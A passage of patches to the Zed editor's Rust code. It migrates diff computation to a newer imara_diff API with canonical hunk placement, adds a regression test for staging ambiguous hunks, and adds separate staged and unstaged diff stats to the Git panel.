-        let sink = HunkSink::new(&diff_base, &diff_base_rope, buffer, diff_options.as_ref());
-        let hunks = imara_diff::diff(Algorithm::Histogram, &input, sink);
-        for hunk in hunks {
+        let input = InternedInput::new(lines(diff_base.as_ref()), lines(buffer_text.as_str()));
+        let mut diff = Diff::compute(Algorithm::Histogram, &input);
+        // Canonicalize the placement of ambiguous hunks (git's slider/indent
+        // heuristic). Without this, diffs of the same buffer against different
+        // base texts (e.g. HEAD vs index) can anchor the same logical change at
+        // different rows, and code that correlates hunks across those diffs
+        // misbehaves: hunks render as staged when they aren't, and staging or
+        // unstaging them corrupts the index.
+        diff.postprocess_lines(&input);
+        let mut sink = HunkSink::new(&diff_base, &diff_base_rope, buffer, diff_options.as_ref());
+        for hunk in diff.hunks() {
+            sink.process_change(hunk.before, hunk.after);
+        }
+        for hunk in sink.finish() {
             tree.push(hunk, buffer);
         }
     } else {
@@ -1244,7 +1251,7 @@ impl<'a> HunkSink<'a> {
     fn compute_line_offsets(text: &str) -> Vec<usize> {
         let mut offsets = vec![0];
         let mut offset = 0;
-        for line in lines_with_terminator(text) {
+        for line in lines(text) {
             offset += line.len();
             offsets.push(offset);
         }
@@ -1252,9 +1259,7 @@ impl<'a> HunkSink<'a> {
     }
 }
 
-impl Sink for HunkSink<'_> {
-    type Out = Vec<InternalDiffHunk>;
-
+impl HunkSink<'_> {
     fn process_change(&mut self, before: Range<u32>, after: Range<u32>) {
         let old_start = before.start as usize;
         let old_end = before.end as usize;
@@ -1321,7 +1326,7 @@ impl Sink for HunkSink<'_> {
         });
     }
 
-    fn finish(self) -> Self::Out {
+    fn finish(self) -> Vec<InternalDiffHunk> {
         self.hunks
     }
 }
diff --git a/crates/edit_prediction_metrics/src/reversal.rs b/crates/edit_prediction_metrics/src/reversal.rs
index 80fdc40d53f0e0..00929a2744d6ee 100644
--- a/crates/edit_prediction_metrics/src/reversal.rs
+++ b/crates/edit_prediction_metrics/src/reversal.rs
@@ -4,21 +4,14 @@ use std::path::Path;
 use std::sync::Arc;
 
 use crate::tokenize::tokenize;
-use imara_diff::{
-    Algorithm, diff,
-    intern::{InternedInput, Token},
-    sources::lines_with_terminator,
-};
+use imara_diff::{Algorithm, Diff, InternedInput, Token, sources::lines};
 use zeta_prompt::udiff::apply_diff_to_string;
 
 fn text_diff(old_text: &str, new_text: &str) -> Vec<(Range<usize>, Arc<str>)> {
     let empty: Arc<str> = Arc::default();
     let mut edits = Vec::new();
     let mut hunk_input = InternedInput::default();
-    let input = InternedInput::new(
-        lines_with_terminator(old_text),
-        lines_with_terminator(new_text),
-    );
+    let input = InternedInput::new(lines(old_text), lines(new_text));
 
     diff_internal(&input, &mut |old_byte_range,
                                 new_byte_range,
@@ -104,35 +97,34 @@ fn diff_internal(
     let mut old_token_ix = 0;
     let mut new_token_ix = 0;
 
-    diff(
-        Algorithm::Histogram,
-        input,
-        |old_tokens: Range<u32>, new_tokens: Range<u32>| {
-            old_offset += token_len(
-                input,
-                &input.before[old_token_ix as usize..old_tokens.start as usize],
-            );
-            new_offset += token_len(
-                input,
-                &input.after[new_token_ix as usize..new_tokens.start as usize],
-            );
-            let old_len = token_len(
-                input,
-                &input.before[old_tokens.start as usize..old_tokens.end as usize],
-            );
-            let new_len = token_len(
-                input,
-                &input.after[new_tokens.start as usize..new_tokens.end as usize],
-            );
-            let old_byte_range = old_offset..old_offset + old_len;
-            let new_byte_range = new_offset..new_offset + new_len;
-            old_token_ix = old_tokens.end;
-            new_token_ix = new_tokens.end;
-            old_offset = old_byte_range.end;
-            new_offset = new_byte_range.end;
-            on_change(old_byte_range, new_byte_range, old_tokens, new_tokens);
-        },
-    );
+    let diff = Diff::compute(Algorithm::Histogram, input);
+    for hunk in diff.hunks() {
+        let old_tokens = hunk.before;
+        let new_tokens = hunk.after;
+        old_offset += token_len(
+            input,
+            &input.before[old_token_ix as usize..old_tokens.start as usize],
+        );
+        new_offset += token_len(
+            input,
+            &input.after[new_token_ix as usize..new_tokens.start as usize],
+        );
+        let old_len = token_len(
+            input,
+            &input.before[old_tokens.start as usize..old_tokens.end as usize],
+        );
+        let new_len = token_len(
+            input,
+            &input.after[new_tokens.start as usize..new_tokens.end as usize],
+        );
+        let old_byte_range = old_offset..old_offset + old_len;
+        let new_byte_range = new_offset..new_offset + new_len;
+        old_token_ix = old_tokens.end;
+        new_token_ix = new_tokens.end;
+        old_offset = old_byte_range.end;
+        new_offset = new_byte_range.end;
+        on_change(old_byte_range, new_byte_range, old_tokens, new_tokens);
+    }
 }
 
 fn tokenize_chars(text: &str) -> impl Iterator<Item = &str> {
diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index 8f5cda4b65db8f..a5045a07f63957 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -12791,9 +12791,9 @@ async fn test_fold_function_bodies(cx: &mut TestAppContext) {
             fn b() {
                 c();
             }
-      -
-      -     // this is another uncommitted comment
 
+      -     // this is another uncommitted comment
+      -
             fn d() {
                 // e
                 // f
diff --git a/crates/language/src/text_diff.rs b/crates/language/src/text_diff.rs
index 69d241cabdd791..4e8239672b2db0 100644
--- a/crates/language/src/text_diff.rs
+++ b/crates/language/src/text_diff.rs
@@ -1,10 +1,6 @@
 use crate::{CharClassifier, CharKind, CharScopeContext, LanguageScope};
 use anyhow::{Context, anyhow};
-use imara_diff::{
-    Algorithm, Sink, diff,
-    intern::{InternedInput, Interner, Token},
-    sources::lines_with_terminator,
-};
+use imara_diff::{Algorithm, Diff, InternedInput, Interner, Token, sources::lines};
 use std::{fmt::Write, iter, ops::Range, sync::Arc};
 
 const MAX_WORD_DIFF_LEN: usize = 512;
@@ -36,12 +32,17 @@ pub fn unified_diff_with_context(
     new_start_line: u32,
     context_lines: u32,
 ) -> String {
-    let input = InternedInput::new(old_text, new_text);
-    diff(
-        Algorithm::Histogram,
-        &input,
-        OffsetUnifiedDiffBuilder::new(&input, old_start_line, new_start_line, context_lines),
-    )
+    // The builder appends its own line terminators, so tokenize without them.
+    let mut input = InternedInput::default();
+    input.update_before(old_text.lines());
+    input.update_after(new_text.lines());
+    let diff = Diff::compute(Algorithm::Histogram, &input);
+    let mut builder =
+        OffsetUnifiedDiffBuilder::new(&input, old_start_line, new_start_line, context_lines);
+    for hunk in diff.hunks() {
+        builder.process_change(hunk.before, hunk.after);
+    }
+    builder.finish()
 }
 
 /// A unified diff builder that applies line number offsets to hunk headers.
@@ -126,9 +127,7 @@ impl<'a> OffsetUnifiedDiffBuilder<'a> {
     }
 }
 
-impl Sink for OffsetUnifiedDiffBuilder<'_> {
-    type Out = String;
-
+impl OffsetUnifiedDiffBuilder<'_> {
     fn process_change(&mut self, before: Range<u32>, after: Range<u32>) {
         if before.start - self.pos > self.context_lines * 2 {
             self.flush();
@@ -148,7 +147,7 @@ impl Sink for OffsetUnifiedDiffBuilder<'_> {
         self.print_tokens(&self.after[after.start as usize..after.end as usize], '+');
     }
 
-    fn finish(mut self) -> Self::Out {
+    fn finish(mut self) -> String {
         self.flush();
         self.dst
     }
@@ -158,10 +157,7 @@ impl Sink for OffsetUnifiedDiffBuilder<'_> {
 /// ranges.
 pub fn line_diff(old_text: &str, new_text: &str) -> Vec<(Range<u32>, Range<u32>)> {
     let mut edits = Vec::new();
-    let input = InternedInput::new(
-        lines_with_terminator(old_text),
-        lines_with_terminator(new_text),
-    );
+    let input = InternedInput::new(lines(old_text), lines(new_text));
     diff_internal(&input, &mut |_, _, old_rows, new_rows| {
         edits.push((old_rows, new_rows));
     });
@@ -264,10 +260,7 @@ pub fn text_diff_with_options(
     let empty: Arc<str> = Arc::default();
     let mut edits = Vec::new();
     let mut hunk_input = InternedInput::default();
-    let input = InternedInput::new(
-        lines_with_terminator(old_text),
-        lines_with_terminator(new_text),
-    );
+    let input = InternedInput::new(lines(old_text), lines(new_text));
     diff_internal(&input, &mut |old_byte_range,
                                 new_byte_range,
                                 old_rows,
@@ -349,35 +342,34 @@ fn diff_internal(
     let mut new_offset = 0;
     let mut old_token_ix = 0;
     let mut new_token_ix = 0;
-    diff(
-        Algorithm::Histogram,
-        input,
-        |old_tokens: Range<u32>, new_tokens: Range<u32>| {
-            old_offset += token_len(
-                input,
-                &input.before[old_token_ix as usize..old_tokens.start as usize],
-            );
-            new_offset += token_len(
-                input,
-                &input.after[new_token_ix as usize..new_tokens.start as usize],
-            );
-            let old_len = token_len(
-                input,
-                &input.before[old_tokens.start as usize..old_tokens.end as usize],
-            );
-            let new_len = token_len(
-                input,
-                &input.after[new_tokens.start as usize..new_tokens.end as usize],
-            );
-            let old_byte_range = old_offset..old_offset + old_len;
-            let new_byte_range = new_offset..new_offset + new_len;
-            old_token_ix = old_tokens.end;
-            new_token_ix = new_tokens.end;
-            old_offset = old_byte_range.end;
-            new_offset = new_byte_range.end;
-            on_change(old_byte_range, new_byte_range, old_tokens, new_tokens);
-        },
-    );
+    let diff = Diff::compute(Algorithm::Histogram, input);
+    for hunk in diff.hunks() {
+        let old_tokens = hunk.before;
+        let new_tokens = hunk.after;
+        old_offset += token_len(
+            input,
+            &input.before[old_token_ix as usize..old_tokens.start as usize],
+        );
+        new_offset += token_len(
+            input,
+            &input.after[new_token_ix as usize..new_tokens.start as usize],
+        );
+        let old_len = token_len(
+            input,
+            &input.before[old_tokens.start as usize..old_tokens.end as usize],
+        );
+        let new_len = token_len(
+            input,
+            &input.after[new_tokens.start as usize..new_tokens.end as usize],
+        );
+        let old_byte_range = old_offset..old_offset + old_len;
+        let new_byte_range = new_offset..new_offset + new_len;
+        old_token_ix = old_tokens.end;
+        new_token_ix = new_tokens.end;
+        old_offset = old_byte_range.end;
+        new_offset = new_byte_range.end;
+        on_change(old_byte_range, new_byte_range, old_tokens, new_tokens);
+    }
 }
 
 fn tokenize_chars(text: &str) -> impl Iterator<Item = &str> {
diff --git a/crates/project/tests/integration/project_tests.rs b/crates/project/tests/integration/project_tests.rs
index bf90db372ea8b6..420af4aaed3184 100644
--- a/crates/project/tests/integration/project_tests.rs
+++ b/crates/project/tests/integration/project_tests.rs
@@ -16081,3 +16081,201 @@ mod disable_ai_settings_tests {
         });
     }
 }
+
+/// Regression test for https://github.com/zed-industries/zed/issues/60424.
+///
+/// The committed text contains repeated `end\n\n` line runs, so the deletion
+/// hunks have ambiguous placements. Before hunk placement was canonicalized,
+/// the uncommitted diff (HEAD vs worktree) and the recomputed unstaged diff
+/// (index vs worktree) could anchor the same logical deletion at different
+/// rows after a partial stage. The mismatched hunk then rendered as staged
+/// while git still had it unstaged, and unstaging it inserted a duplicate
+/// copy of its contents into the index on every click.
+#[gpui::test]
+async fn test_staging_hunks_with_ambiguous_placement(cx: &mut gpui::TestAppContext) {
+    init_test(cx);
+
+    let committed_contents = concat!(
+        "function is_empty(str)\n",
+        "    assert(type(str) == string)\n",
+        "    return str == nil or str == \"\"\n",
+        "end\n",
+        "\n",
+        "function string:starts_with(str)\n",
+        "    return self:sub(1, #str) == str\n",
+        "end\n",
+        "\n",
+        "function string:ends_with(str)\n",
+        "    return self:sub(-#str) == str\n",
+        "end\n",
+        "\n",
+        "function table:append(other)\n",
+        "    for _, val in ipairs(other) do table.insert(self, val) end\n",
+        "end\n",
+        "\n",
+        "function table:contains(elem)\n",
+        "    assert(type(self) == \"table\")\n",
+        "\n",
+        "    for _, val in ipairs(self) do\n",
+        "        if val == elem then return true end\n",
+        "    end\n",
+        "    return false\n",
+        "end\n",
+        "\n",
+        "function table:keys()\n",
+        "    local keys = {}\n",
+        "    for key, _ in pairs(self) do\n",
+        "        table.insert(keys, key)\n",
+        "    end\n",
+        "    return keys\n",
+        "end\n",
+        "\n",
+        "function has_class(el, class) return el.classes[0] == class end\n",
+    )
+    .to_string();
+    let file_contents = concat!(
+        "function table:append(other)\n",
+        "    for _, val in ipairs(other) do table.insert(self, val) end\n",
+        "end\n",
+        "\n",
+        "function table:keys()\n",
+        "    local keys = {}\n",
+        "    for key, _ in pairs(self) do\n",
+        "        table.insert(keys, key)\n",
+        "    end\n",
+        "    return keys\n",
+        "end\n",
+        "\n",
+        "function has_class(el, class) return el.classes:includes(class) end\n",
+    )
+    .to_string();
+
+    let fs = FakeFs::new(cx.background_executor.clone());
+    fs.insert_tree(
+        "/dir",
+        json!({
+            ".git": {},
+            "test.txt": file_contents.clone()
+        }),
+    )
+    .await;
+    fs.set_head_and_index_for_repo(
+        path!("/dir/.git").as_ref(),
+        &[("test.txt", committed_contents.clone())],
+    );
+
+    let project = Project::test(fs.clone(), ["/dir".as_ref()], cx).await;
+    let buffer = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer("/dir/test.txt", cx)
+        })
+        .await
+        .unwrap();
+    let snapshot = buffer.read_with(cx, |buffer, _| buffer.snapshot());
+    let uncommitted_diff = project
+        .update(cx, |project, cx| {
+            project.open_uncommitted_diff(buffer.clone(), cx)
+        })
+        .await
+        .unwrap();
+
+    fn hunk_states(
+        uncommitted_diff: &Entity<BufferDiff>,
+        snapshot: &language::BufferSnapshot,
+        cx: &mut gpui::TestAppContext,
+    ) -> Vec<(Range<Point>, DiffHunkSecondaryStatus)> {
+        uncommitted_diff.read_with(cx, |diff, cx| {
+            diff.snapshot(cx)
+                .hunks(&snapshot.text)
+                .map(|hunk| (hunk.range.clone(), hunk.secondary_status))
+                .collect()
+        })
+    }
+
+    fn index_text(fs: &FakeFs) -> String {
+        fs.with_git_state(path!("/dir/.git").as_ref(), false, |state| {
+            state
+                .index_contents
+                .get(&repo_path("test.txt"))
+                .cloned()
+                .expect("file is present in the index")
+        })
+        .unwrap()
+    }
+
+    use DiffHunkSecondaryStatus::*;
+    let row = |start: u32, end: u32| Point::new(start, 0)..Point::new(end, 0);
+
+    // Two deletions and one modification, all unstaged.
+    assert_eq!(
+        hunk_states(&uncommitted_diff, &snapshot, cx),
+        vec![
+            (row(0, 0), HasSecondaryHunk),
+            (row(4, 4), HasSecondaryHunk),
+            (row(12, 13), HasSecondaryHunk),
+        ]
+    );
+
+    // Stage the first deletion (the three string functions).
+    let hunks = uncommitted_diff.read_with(cx, |diff, cx| {
+        diff.snapshot(cx).hunks(&snapshot.text).collect::<Vec<_>>()
+    });
+    project
+        .update(cx, |project, cx| {
+            let unstaged_diff = uncommitted_diff.read(cx).secondary_diff().unwrap();
+            project.stage_hunks(
+                buffer.clone(),
+                unstaged_diff,
+                vec![hunks[0].buffer_range.clone()],
+                cx,
+            )
+        })
+        .unwrap();
+    cx.run_until_parked();
+
+    // Only the first hunk is staged; the other hunks must not be affected,
+    // even though the unstaged diff was recomputed against a new index text
+    // in which the remaining deletion has an ambiguous placement.
+    assert_eq!(
+        hunk_states(&uncommitted_diff, &snapshot, cx),
+        vec![
+            (row(0, 0), NoSecondaryHunk),
+            (row(4, 4), HasSecondaryHunk),
+            (row(12, 13), HasSecondaryHunk),
+        ]
+    );
+    let table_contains_offset = committed_contents
+        .find("function table:append")
+        .expect("committed text contains table:append");
+    let expected_index = &committed_contents[table_contains_offset..];
+    assert_eq!(index_text(&fs), expected_index);
+
+    // Unstaging the second deletion is a no-op, since it isn't staged. Before
+    // the fix, each such request inserted another copy of the deleted content
+    // into the index.
+    for _ in 0..3 {
+        let hunks = uncommitted_diff.read_with(cx, |diff, cx| {
+            diff.snapshot(cx).hunks(&snapshot.text).collect::<Vec<_>>()
+        });
+        project
+            .update(cx, |project, cx| {
+                project.unstage_uncommitted_hunks(
+                    buffer.clone(),
+                    uncommitted_diff.clone(),
+                    vec![hunks[1].buffer_range.clone()],
+                    cx,
+                )
+            })
+            .unwrap();
+        cx.run_until_parked();
+    }
+    assert_eq!(index_text(&fs), expected_index);
+    assert_eq!(
+        hunk_states(&uncommitted_diff, &snapshot, cx),
+        vec![
+            (row(0, 0), NoSecondaryHunk),
+            (row(4, 4), HasSecondaryHunk),
+            (row(12, 13), HasSecondaryHunk),
+        ]
+    );
+}
diff --git a/crates/zeta_prompt/src/udiff.rs b/crates/zeta_prompt/src/udiff.rs
index 7b4f01e9adfa23..3df1109bf2565a 100644
--- a/crates/zeta_prompt/src/udiff.rs
+++ b/crates/zeta_prompt/src/udiff.rs
@@ -6,10 +6,7 @@ use std::{
 };
 
 use anyhow::{Context as _, Result, anyhow};
-use imara_diff::{
-    Algorithm, Sink, diff,
-    intern::{InternedInput, Interner, Token},
-};
+use imara_diff::{Algorithm, Diff, InternedInput, Interner, Token};
 
 pub fn strip_diff_path_prefix<'a>(diff: &'a str, prefix: &str) -> Cow<'a, str> {
     if prefix.is_empty() {
@@ -216,12 +213,17 @@ pub fn unified_diff_with_context(
     new_start_line: u32,
     context_lines: u32,
 ) -> String {
-    let input = InternedInput::new(old_text, new_text);
-    diff(
-        Algorithm::Histogram,
-        &input,
-        OffsetUnifiedDiffBuilder::new(&input, old_start_line, new_start_line, context_lines),
-    )
+    // The builder appends its own line terminators, so tokenize without them.
+    let mut input = InternedInput::default();
+    input.update_before(old_text.lines());
+    input.update_after(new_text.lines());
+    let diff = Diff::compute(Algorithm::Histogram, &input);
+    let mut builder =
+        OffsetUnifiedDiffBuilder::new(&input, old_start_line, new_start_line, context_lines);
+    for hunk in diff.hunks() {
+        builder.process_change(hunk.before, hunk.after);
+    }
+    builder.finish()
 }
 
 struct OffsetUnifiedDiffBuilder<'a> {
@@ -302,9 +304,7 @@ impl<'a> OffsetUnifiedDiffBuilder<'a> {
     }
 }
 
-impl Sink for OffsetUnifiedDiffBuilder<'_> {
-    type Out = String;
-
+impl OffsetUnifiedDiffBuilder<'_> {
     fn process_change(&mut self, before: Range<u32>, after: Range<u32>) {
         if before.start - self.pos > self.context_lines * 2 {
             self.flush();
@@ -325,7 +325,7 @@ impl Sink for OffsetUnifiedDiffBuilder<'_> {
         self.print_tokens(&self.after[after.start as usize..after.end as usize], '+');
     }
 
-    fn finish(mut self) -> Self::Out {
+    fn finish(mut self) -> String {
         self.flush();
         self.dst
     }

From 54fdf58d3a5ba58e3d71fdd862f47cf5ebc05698 Mon Sep 17 00:00:00 2001
From: Sathwik Chirivelli <146921254+chirivelli@users.noreply.github.com>
Date: Sun, 19 Jul 2026 00:32:25 +0530
Subject: [PATCH 533/772] git_panel: Show staged and unstaged diff stats
 (#60815)

# Objective

- Show accurate diff stats for each staged and unstaged projection of a
partially staged file in the Git panel.
- This was originally considered for
https://github.com/zed-industries/zed/pull/59884, but was scoped out of
that already-large PR and is being submitted separately as discussed
there.

## Solution

- Collect HEAD-to-index and index-to-worktree diff stats alongside the
existing combined HEAD-to-worktree stats.
- Carry the staged and unstaged stats through repository status
snapshots and remote status serialization.
- Use the stat matching the projected Git panel section while preserving
the combined stat for the other grouping modes.
- Update the fake Git repository and add regression coverage with
deliberately different staged and unstaged counts.

## Testing

- `cargo check -p git_ui`
- `cargo check -p collab`
- `cargo test -p git_ui
test_group_by_staging_section_membership_and_order --lib`
- `cargo test -p project --lib --no-run`
- `cargo fmt --all -- --check`
- `git diff --check`

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed diff stats for partially staged files in the Git panel
---
 crates/collab/src/db.rs                       |   4 +
 crates/fs/src/fake_git_repo.rs                |  46 +++++---
 crates/git/src/repository.rs                  |  22 ++--
 crates/git_ui/src/git_panel.rs                |  55 ++++++++--
 crates/project/src/git_store.rs               | 100 ++++++++++++++----
 .../tests/integration/project_tests.rs        |  57 ++++++++++
 crates/proto/proto/git.proto                  |   4 +
 7 files changed, 241 insertions(+), 47 deletions(-)

diff --git a/crates/collab/src/db.rs b/crates/collab/src/db.rs
index d8dad9fec13fa0..786f750cd0c700 100644
--- a/crates/collab/src/db.rs
+++ b/crates/collab/src/db.rs
@@ -732,6 +732,10 @@ fn db_status_to_proto(
         }),
         diff_stat_added: entry.lines_added.map(|v| v as u32),
         diff_stat_deleted: entry.lines_deleted.map(|v| v as u32),
+        staged_diff_stat_added: None,
+        staged_diff_stat_deleted: None,
+        unstaged_diff_stat_added: None,
+        unstaged_diff_stat_deleted: None,
     })
 }
 
diff --git a/crates/fs/src/fake_git_repo.rs b/crates/fs/src/fake_git_repo.rs
index 00e91cb7998b9f..02610f0fdb5243 100644
--- a/crates/fs/src/fake_git_repo.rs
+++ b/crates/fs/src/fake_git_repo.rs
@@ -1156,6 +1156,7 @@ impl GitRepository for FakeGitRepository {
 
     fn diff_stat(
         &self,
+        diff: git::repository::DiffStatType,
         path_prefixes: &[RepoPath],
     ) -> BoxFuture<'static, Result<git::status::GitDiffStat>> {
         fn count_lines(s: &str) -> u32 {
@@ -1203,22 +1204,43 @@ impl GitRepository for FakeGitRepository {
 
         self.with_state_async(false, move |state| {
             let mut entries = Vec::new();
-            let all_paths: HashSet<&RepoPath> = state
-                .head_contents
-                .keys()
-                .chain(
-                    worktree_files
-                        .keys()
-                        .filter(|p| state.index_contents.contains_key(*p)),
-                )
-                .collect();
+            let (old_files, new_files) = match diff {
+                git::repository::DiffStatType::HeadToIndex => {
+                    (&state.head_contents, &state.index_contents)
+                }
+                git::repository::DiffStatType::HeadToWorktree => {
+                    (&state.head_contents, &worktree_files)
+                }
+                git::repository::DiffStatType::IndexToWorktree => {
+                    (&state.index_contents, &worktree_files)
+                }
+            };
+            let all_paths: HashSet<&RepoPath> = match diff {
+                git::repository::DiffStatType::HeadToIndex => state
+                    .head_contents
+                    .keys()
+                    .chain(state.index_contents.keys())
+                    .collect(),
+                git::repository::DiffStatType::HeadToWorktree => state
+                    .head_contents
+                    .keys()
+                    .chain(
+                        worktree_files
+                            .keys()
+                            .filter(|path| state.index_contents.contains_key(*path)),
+                    )
+                    .collect(),
+                git::repository::DiffStatType::IndexToWorktree => {
+                    state.index_contents.keys().collect()
+                }
+            };
             for path in all_paths {
                 if !matches_prefixes(path, &path_prefixes) {
                     continue;
                 }
-                let head = state.head_contents.get(path);
-                let worktree = worktree_files.get(path);
-                match (head, worktree) {
+                let old_file = old_files.get(path);
+                let new_file = new_files.get(path);
+                match (old_file, new_file) {
                     (Some(old), Some(new)) if old != new => {
                         entries.push((
                             path.clone(),
diff --git a/crates/git/src/repository.rs b/crates/git/src/repository.rs
index 857a62f1b1d301..c4daf3ff87a660 100644
--- a/crates/git/src/repository.rs
+++ b/crates/git/src/repository.rs
@@ -1109,6 +1109,7 @@ pub trait GitRepository: Send + Sync {
 
     fn diff_stat(
         &self,
+        diff: DiffStatType,
         path_prefixes: &[RepoPath],
     ) -> BoxFuture<'static, Result<crate::status::GitDiffStat>>;
 
@@ -1193,6 +1194,13 @@ pub enum DiffType {
     MergeBase { base_ref: SharedString },
 }
 
+#[derive(Clone, Copy)]
+pub enum DiffStatType {
+    HeadToIndex,
+    HeadToWorktree,
+    IndexToWorktree,
+}
+
 #[derive(Debug, Clone, Copy, PartialEq, Eq, Deserialize, JsonSchema)]
 pub enum PushOptions {
     SetUpstream,
@@ -2333,6 +2341,7 @@ impl GitRepository for RealGitRepository {
 
     fn diff_stat(
         &self,
+        diff: DiffStatType,
         path_prefixes: &[RepoPath],
     ) -> BoxFuture<'static, Result<crate::status::GitDiffStat>> {
         let path_prefixes = path_prefixes.to_vec();
@@ -2341,12 +2350,13 @@ impl GitRepository for RealGitRepository {
         self.executor
             .spawn(async move {
                 let git_binary = git_binary?;
-                let mut args: Vec<String> = vec![
-                    "diff".into(),
-                    "--numstat".into(),
-                    "--no-renames".into(),
-                    "HEAD".into(),
-                ];
+                let mut args: Vec<String> =
+                    vec!["diff".into(), "--numstat".into(), "--no-renames".into()];
+                match diff {
+                    DiffStatType::HeadToIndex => args.extend(["--cached".into(), "HEAD".into()]),
+                    DiffStatType::HeadToWorktree => args.push("HEAD".into()),
+                    DiffStatType::IndexToWorktree => {}
+                }
                 if !path_prefixes.is_empty() {
                     args.push("--".into());
                     args.extend(
diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index fd97769d037c34..d7021e1b51b3c6 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -4548,13 +4548,13 @@ impl GitPanel {
 
         self.stash_entries = repo.cached_stash();
 
-        for entry in repo.cached_status() {
+        for status_entry in repo.cached_status() {
             self.changes_count += 1;
-            let is_conflict = repo.had_conflict_on_last_merge_head_change(&entry.repo_path);
-            let is_new = entry.status.is_created();
-            let staging = entry.status.staging();
+            let is_conflict = repo.had_conflict_on_last_merge_head_change(&status_entry.repo_path);
+            let is_new = status_entry.status.is_created();
+            let staging = status_entry.status.staging();
 
-            if let Some(pending) = repo.pending_ops_for_path(&entry.repo_path)
+            if let Some(pending) = repo.pending_ops_for_path(&status_entry.repo_path)
                 && pending
                     .ops
                     .iter()
@@ -4564,10 +4564,10 @@ impl GitPanel {
             }
 
             let entry = GitStatusEntry {
-                repo_path: entry.repo_path.clone(),
-                status: entry.status,
+                repo_path: status_entry.repo_path.clone(),
+                status: status_entry.status,
                 staging,
-                diff_stat: entry.diff_stat,
+                diff_stat: status_entry.diff_stat,
             };
 
             if !is_conflict && !is_new {
@@ -4583,10 +4583,16 @@ impl GitPanel {
                 conflict_entries.push(entry);
             } else if group_by_staging_state {
                 if staging.has_staged() {
-                    staged_entries.push(entry.clone());
+                    staged_entries.push(GitStatusEntry {
+                        diff_stat: status_entry.staged_diff_stat,
+                        ..entry.clone()
+                    });
                 }
                 if staging.has_unstaged() {
-                    unstaged_entries.push(entry);
+                    unstaged_entries.push(GitStatusEntry {
+                        diff_stat: status_entry.unstaged_diff_stat,
+                        ..entry
+                    });
                 }
             } else if group_by_file_status && is_conflict {
                 conflict_entries.push(entry);
@@ -9339,7 +9345,6 @@ mod tests {
                 ("crates/util/util.rs", StatusCode::Modified.worktree()),
             ],
         );
-
         let project =
             Project::test(fs.clone(), [path!("/root/zed/crates/gpui").as_ref()], cx).await;
         let window_handle =
@@ -9552,6 +9557,16 @@ mod tests {
                 ("unstaged.rs", StatusCode::Modified.worktree()),
             ],
         );
+        fs.with_git_state(path!("/project/.git").as_ref(), true, |state| {
+            state.head_contents.insert(
+                repo_path("partial.rs"),
+                "head one\nhead two\nhead three\nhead four".into(),
+            );
+            state
+                .index_contents
+                .insert(repo_path("partial.rs"), "index one\nindex two".into());
+        })
+        .expect("fake repository should exist");
 
         let project = Project::test(fs.clone(), [Path::new(path!("/project"))], cx).await;
         let window_handle =
@@ -9626,6 +9641,24 @@ mod tests {
                 panel.stage_intent_for_entry_index(projections[1].index),
                 StageIntent::Stage
             );
+            assert_eq!(
+                panel.entries[projections[0].index]
+                    .status_entry()
+                    .and_then(|entry| entry.diff_stat),
+                Some(DiffStat {
+                    added: 2,
+                    deleted: 4,
+                })
+            );
+            assert_eq!(
+                panel.entries[projections[1].index]
+                    .status_entry()
+                    .and_then(|entry| entry.diff_stat),
+                Some(DiffStat {
+                    added: 1,
+                    deleted: 2,
+                })
+            );
             panel.entries.clone()
         });
 
diff --git a/crates/project/src/git_store.rs b/crates/project/src/git_store.rs
index 1b1f873516a0ea..ef6b7fe30e9554 100644
--- a/crates/project/src/git_store.rs
+++ b/crates/project/src/git_store.rs
@@ -35,10 +35,11 @@ use git::{
     parse_git_remote_url,
     repository::{
         Branch, BranchesScanResult, CommitData, CommitDetails, CommitDiff, CommitFile,
-        CommitOptions, CreateWorktreeTarget, DiffType, FetchOptions, FileHistoryChangedFileSets,
-        GitCommitTemplate, GitRepository, GitRepositoryCheckpoint, InitialGraphCommitData,
-        LogOrder, LogSource, PushOptions, Remote, RemoteCommandOutput, RepoPath, ResetMode,
-        SearchCommitArgs, UpstreamTrackingStatus, Worktree as GitWorktree, delete_branch_flag,
+        CommitOptions, CreateWorktreeTarget, DiffStatType, DiffType, FetchOptions,
+        FileHistoryChangedFileSets, GitCommitTemplate, GitRepository, GitRepositoryCheckpoint,
+        InitialGraphCommitData, LogOrder, LogSource, PushOptions, Remote, RemoteCommandOutput,
+        RepoPath, ResetMode, SearchCommitArgs, UpstreamTrackingStatus, Worktree as GitWorktree,
+        delete_branch_flag,
     },
     stash::{GitStash, StashEntry},
     status::{
@@ -318,6 +319,8 @@ pub struct StatusEntry {
     pub repo_path: RepoPath,
     pub status: FileStatus,
     pub diff_stat: Option<DiffStat>,
+    pub staged_diff_stat: Option<DiffStat>,
+    pub unstaged_diff_stat: Option<DiffStat>,
 }
 
 impl StatusEntry {
@@ -341,6 +344,10 @@ impl StatusEntry {
             status: Some(status_to_proto(self.status)),
             diff_stat_added: self.diff_stat.map(|ds| ds.added),
             diff_stat_deleted: self.diff_stat.map(|ds| ds.deleted),
+            staged_diff_stat_added: self.staged_diff_stat.map(|ds| ds.added),
+            staged_diff_stat_deleted: self.staged_diff_stat.map(|ds| ds.deleted),
+            unstaged_diff_stat_added: self.unstaged_diff_stat.map(|ds| ds.added),
+            unstaged_diff_stat_deleted: self.unstaged_diff_stat.map(|ds| ds.deleted),
         }
     }
 }
@@ -355,10 +362,24 @@ impl TryFrom<proto::StatusEntry> for StatusEntry {
             (Some(added), Some(deleted)) => Some(DiffStat { added, deleted }),
             _ => None,
         };
+        let staged_diff_stat = match (value.staged_diff_stat_added, value.staged_diff_stat_deleted)
+        {
+            (Some(added), Some(deleted)) => Some(DiffStat { added, deleted }),
+            _ => None,
+        };
+        let unstaged_diff_stat = match (
+            value.unstaged_diff_stat_added,
+            value.unstaged_diff_stat_deleted,
+        ) {
